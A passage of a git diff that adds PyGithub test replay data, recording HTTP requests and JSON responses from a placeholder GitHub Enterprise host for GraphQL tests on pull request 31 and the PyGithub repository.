PyGithub\n","created_at":"2012-05-27T09:25:36Z","updated_at":"2018-06-25T12:54:43Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/jacquev6","html_url":"https://my.enterprise.com:8080/jacquev6","followers_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/jacquev6","html_url":"https://my.enterprise.com:8080/jacquev6","followers_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31/commits","review_comments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31/comments","review_comment_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/31/comments","statuses_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206","head":{"label":null,"ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":null,"repo":null},"base":{"label":"PyGithub:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/PyGithub","html_url":"https://my.enterprise.com:8080/PyGithub","followers_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/PyGithub","html_url":"https://my.enterprise.com:8080/PyGithub","followers_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://my.enterprise.com:8080/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub","forks_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/forks","keys_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/teams","hooks_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/events","assignees_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/tags","blobs_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/languages","stargazers_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/subscription","commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/merges","archive_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/downloads","issues_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://my.enterprise.com:8080/PyGithub/PyGithub.git","ssh_url":"git@my.enterprise.com:PyGithub/PyGithub.git","clone_url":"https://my.enterprise.com:8080/PyGithub/PyGithub.git","svn_url":"https://my.enterprise.com:8080/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://my.enterprise.com:8080/api/v3/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main"}},"_links":{"self":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://my.enterprise.com:8080/PyGithub/PyGithub/pull/31"},"issue":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/31"},"comments":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/31/comments"},"review_comments":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31/comments"},"review_comment":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31/commits"},"statuses":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":false,"rebaseable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/jacquev6","html_url":"https://my.enterprise.com:8080/jacquev6","followers_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"comments":1,"review_comments":2,"maintainer_can_modify":false,"commits":3,"additions":511,"deletions":384,"changed_files":45} + +https +POST +my.enterprise.com +8080 +/api/graphql +{'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"query": "mutation DisablePullRequestAutoMerge($input: DisablePullRequestAutoMergeInput!) { disablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ=="}}} +200 +[('Server', 'enterprise.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] +{"data": {"disablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://my.enterprise.com:8080/api/v3/heitorpolidoro"}, "clientMutationId": null}}} diff --git a/tests/ReplayData/GraphQl.testOtherUrl.txt b/tests/ReplayData/GraphQl.testOtherUrl.txt new file mode 100644 index 0000000000..d507c03ecd --- /dev/null +++ b/tests/ReplayData/GraphQl.testOtherUrl.txt @@ -0,0 +1,32 @@ +https +GET +my.enterprise.com +None +/api/v3/repos/PyGithub/PyGithub +{'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'enterprise.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8d3a8781cb083ecf6b9194272a6522af705bd0d8c5bbaa959618b6d51725387e"'), ('Last-Modified', 'Sat, 20 Jan 2024 06:37:31 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B70C:505BC:14BDE07A:14F6AE81:65AB9959')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/PyGithub","html_url":"https://my.enterprise.com/PyGithub","followers_url":"https://my.enterprise.com/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://my.enterprise.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub","forks_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/forks","keys_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/teams","hooks_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/events","assignees_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/tags","blobs_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/languages","stargazers_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/subscription","commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/merges","archive_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/downloads","issues_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://my.enterprise.com/PyGithub/PyGithub.git","ssh_url":"git@my.enterprise.com:PyGithub/PyGithub.git","clone_url":"https://my.enterprise.com/PyGithub/PyGithub.git","svn_url":"https://my.enterprise.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://my.enterprise.com/api/v3/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/PyGithub","html_url":"https://my.enterprise.com/PyGithub","followers_url":"https://my.enterprise.com/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1715,"subscribers_count":111} + +https +GET +my.enterprise.com +None +/api/v3/repos/PyGithub/PyGithub/pulls/31 +{'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'enterprise.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"add6f9aeb7d78b7a86d664f8107ca57bac6312a49fa4a9279afaebe7180405e5"'), ('Last-Modified', 'Thu, 21 Sep 2023 07:32:37 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'pull_requests=read; contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B714:354E89:774D594:78D06E8:65AB995A')] +{"url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31","id":1436215,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==","html_url":"https://my.enterprise.com/PyGithub/PyGithub/pull/31","diff_url":"https://my.enterprise.com/PyGithub/PyGithub/pull/31.diff","patch_url":"https://my.enterprise.com/PyGithub/PyGithub/pull/31.patch","issue_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/31","number":31,"state":"closed","locked":false,"title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/jacquev6","html_url":"https://my.enterprise.com/jacquev6","followers_url":"https://my.enterprise.com/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub\n","created_at":"2012-05-27T09:25:36Z","updated_at":"2018-06-25T12:54:43Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/jacquev6","html_url":"https://my.enterprise.com/jacquev6","followers_url":"https://my.enterprise.com/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/jacquev6","html_url":"https://my.enterprise.com/jacquev6","followers_url":"https://my.enterprise.com/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/jacquev6/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31/commits","review_comments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31/comments","review_comment_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/31/comments","statuses_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206","head":{"label":null,"